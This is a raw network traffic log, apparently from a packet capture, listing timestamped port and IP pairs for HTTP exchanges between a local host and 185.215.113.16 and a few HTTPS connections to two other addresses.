Nov 23, 2024 15:22:33.244446993 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.244556904 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.244647980 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.245502949 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.245609999 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.245621920 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.245711088 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.246531963 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.246627092 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.246659994 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.246771097 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.247589111 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.247703075 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.247709990 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.247745991 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.248709917 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.248794079 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.248852015 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.249661922 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.249742031 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.249782085 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.249854088 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.250698090 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.250760078 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.250766993 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.250869989 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.251753092 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.251871109 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.252080917 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.252763033 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.252811909 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.252877951 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.252928972 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.253865957 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.253926039 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.253973961 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.254019976 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.254864931 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.254904032 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.255021095 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.255101919 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.257111073 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.257128000 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.257144928 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.257208109 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.257208109 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.257216930 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.258048058 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.258100986 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.258125067 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.258164883 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.259205103 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.259273052 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.259322882 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.259449005 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.260106087 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.260138988 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.260232925 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.261116982 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.261171103 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.261212111 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.261212111 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.262181044 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.262315989 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.262355089 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.262392044 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.263232946 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.263300896 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.263763905 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.263870955 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.264261007 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.264338970 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.264591932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.264681101 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.265321970 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.265386105 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.265436888 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.265505075 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.266335011 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.266412020 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.266448975 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.266545057 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.267448902 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.267494917 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.267514944 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.267537117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.268702984 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.268779993 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.268821955 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.268867016 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.269463062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.269522905 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.269562006 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.269674063 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.270519972 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.270595074 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.270632029 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.270776033 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.271564007 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.271615028 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.271625042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.271670103 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.272692919 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.272756100 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.272797108 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.272844076 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.273638964 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.273668051 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.273714066 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.273714066 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.274668932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.274746895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.274758101 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.274918079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.275757074 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.275794029 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.275842905 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.275897026 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.276758909 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.276806116 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.276854038 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.276932001 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.277817965 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.277945995 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.277964115 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.278043985 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.278891087 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.278949022 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.278949022 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.279007912 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.279898882 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.279954910 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.280016899 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.280083895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.280963898 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.281035900 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.281065941 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.281197071 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.281985998 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.282048941 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.282056093 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.282114983 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.283019066 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.283118963 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.283130884 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.283180952 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.284065008 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.284169912 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.284225941 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.285093069 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.285200119 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.285209894 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.285278082 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.286154985 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.286210060 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.286257029 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.286313057 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.287197113 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.287245035 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.287302017 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.287343979 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.288475037 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.288594961 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.288642883 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.289355040 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.289418936 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.289422035 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.289482117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.290361881 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.290421009 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.290458918 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.290502071 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.291419029 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.291471004 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.291588068 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.291634083 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.292414904 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.292530060 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.292579889 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.293410063 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.293479919 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.372068882 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:33.372157097 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:33.372200966 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:33.372235060 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:33.372304916 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:33.372339964 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:33.379424095 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:33.379611015 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:33.380219936 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:33.380251884 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:33.380285025 CET	49827	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:33.380300045 CET	443	49827	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:33.403450012 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:33.403500080 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:33.403573036 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:33.403716087 CET	49837	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:33.403733015 CET	443	49837	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:33.430826902 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.430927992 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.430960894 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.430985928 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.431279898 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.431333065 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.431368113 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.431461096 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.432369947 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.432481050 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.432526112 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.432526112 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.433397055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.433464050 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.433494091 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.433537006 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.433809996 CET	49838	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:33.433856964 CET	443	49838	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:33.433922052 CET	49838	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:33.434195042 CET	49838	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:33.434214115 CET	443	49838	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:33.434420109 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.434504986 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.434542894 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.434591055 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.435481071 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.435554981 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.435592890 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.435766935 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.436469078 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.436522961 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.436554909 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.436599970 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.437546015 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.437591076 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.437664986 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.437712908 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.438616037 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.438668013 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.438694954 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.438736916 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.439629078 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.439744949 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.439790964 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.439858913 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.440680027 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.440706015 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.440731049 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.440793037 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.441729069 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.441813946 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.441847086 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.441891909 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.442763090 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.442826033 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.442919970 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.442970037 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.443892002 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.443954945 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.444000959 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.444051027 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.444844007 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.444902897 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.444946051 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.445022106 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.445897102 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.445985079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.446031094 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.446094990 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.446893930 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.446954012 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.447047949 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.447197914 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.447983027 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.448046923 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.448086977 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.448151112 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.449006081 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.449052095 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.449106932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.449167967 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.450124979 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.450181961 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.450227976 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.450314045 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.451107025 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.451215982 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.451229095 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.451308966 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.452162981 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.452224970 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.452292919 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.452337027 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.453227997 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.453298092 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.453402042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.453466892 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.454227924 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.454293966 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.454334021 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.454404116 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.455241919 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.455333948 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.455351114 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.455456018 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.456335068 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.456408978 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.456536055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.456609011 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.457359076 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.457443953 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.457496881 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.457581997 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.458384037 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.458424091 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.458504915 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.458601952 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.459436893 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.459506035 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.459749937 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.459805965 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.460481882 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.460562944 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.460577965 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.460654020 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.461502075 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.461545944 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.461607933 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.461672068 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.462531090 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.462644100 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.462662935 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.462712049 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.463578939 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.463676929 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.463700056 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.463747025 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.464756012 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.464826107 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.464833975 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.464901924 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.465723038 CET	80	49823	185.215.113.16	192.168.2.4
